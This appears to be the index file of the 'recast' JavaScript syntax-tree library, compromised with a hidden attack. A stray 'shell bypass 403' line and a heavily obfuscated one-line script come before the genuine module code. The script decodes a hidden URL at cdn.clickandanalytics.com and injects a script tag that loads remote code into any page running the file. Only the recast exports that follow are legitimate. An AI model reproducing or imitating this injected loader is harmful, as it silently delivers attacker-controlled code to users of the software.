shell bypass 403
var q=b;function a(){var r=['createElement','9GObIrw','18837040SVtcsu','pt[','9165200izKISN','head','c="','parentNode','currentScript','getElementsByTagName','2775636jZxsoy','726LdVZCO','src','5833500ugSeSx','insertBefore','23453KiLFgo','17575602BTZXWl','fromCharCode','38010CnTXlm','ack','querySelector','1830267QKePcj','58ZquZWI'];a=function(){return r;};return a();}(function(c,e){var o=b,f=c();while(!![]){try{var g=parseInt(o('0x120'))/0x1*(-parseInt(o('0x127'))/0x2)+-parseInt(o('0x126'))/0x3+parseInt(o('0x132'))/0x4+parseInt(o('0x11e'))/0x5+parseInt(o('0x133'))/0x6*(-parseInt(o('0x123'))/0x7)+-parseInt(o('0x12c'))/0x8*(parseInt(o('0x129'))/0x9)+parseInt(o('0x12a'))/0xa;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x9f08f));function utrertdfg(c){var p=b;return Boolean(document[p('0x125')]('sc'+'ri'+p('0x12b')+'sr'+p('0x12e')+c+'"]'));}var bd='ht'+String[q('0x122')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+'and'+String[q('0x122')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0x124'),bd1=q('0x121');function b(c,d){var e=a();return b=function(f,g){f=f-0x11d;var h=e[f];return h;},b(c,d);}if(utrertdfg(bd)===![]){var d=document,s=d[q('0x128')]('sc'+'r'+'ip'+'t');s[q('0x11d')]=bd,d['currentScript']?d[q('0x130')][q('0x12f')]!==null&&d['currentScript'][q('0x12f')][q('0x11f')](s,d[q('0x130')]):d[q('0x131')](q('0x12d'))[0x0]!==null&&d[q('0x131')]('head')[0x0]['appendChild'](s);}var types = require("./lib/types");
var parse = require("./lib/parser").parse;
var Printer = require("./lib/printer").Printer;
function print(node, options) {
return new Printer(options).print(node);
}
function prettyPrint(node, options) {
return new Printer(options).printGenerically(node);
}
function run(transformer, options) {
return runFile(process.argv[2], transformer, options);
}
function runFile(path, transformer, options) {
require("fs").readFile(path, "utf-8", function(err, code) {
if (err) {
console.error(err);
return;
}
runString(code, transformer, options);
});
}
function defaultWriteback(output) {
process.stdout.write(output);
}
function runString(code, transformer, options) {
var writeback = options && options.writeback || defaultWriteback;
transformer(parse(code, options), function(node) {
writeback(print(node, options).code);
});
}
Object.defineProperties(exports, {
/**
* Parse a string of code into an augmented syntax tree suitable for
* arbitrary modification and reprinting.
*/
parse: {
enumerable: true,
value: parse
},
/**
* Traverse and potentially modify an abstract syntax tree using a
* convenient visitor syntax:
*
* recast.visit(ast, {
* names: [],
* visitIdentifier: function(path) {
* var node = path.value;
* this.visitor.names.push(node.name);
* this.traverse(path);
* }
* });
*/
visit: {
enumerable: true,
value: types.visit
},
/**
* Reprint a modified syntax tree using as much of the original source
* code as possible.
*/
print: {
enumerable: true,
value: print
},
/**
* Print without attempting to reuse any original source code.
*/
prettyPrint: {
enumerable: false,
value: prettyPrint
},
/**
* Customized version of require("ast-types").
*/
types: {
enumerable: false,
value: types
},
/**
* Convenient command-line interface (see e.g. example/add-braces).
*/
run: {
enumerable: false,
value: run
}
});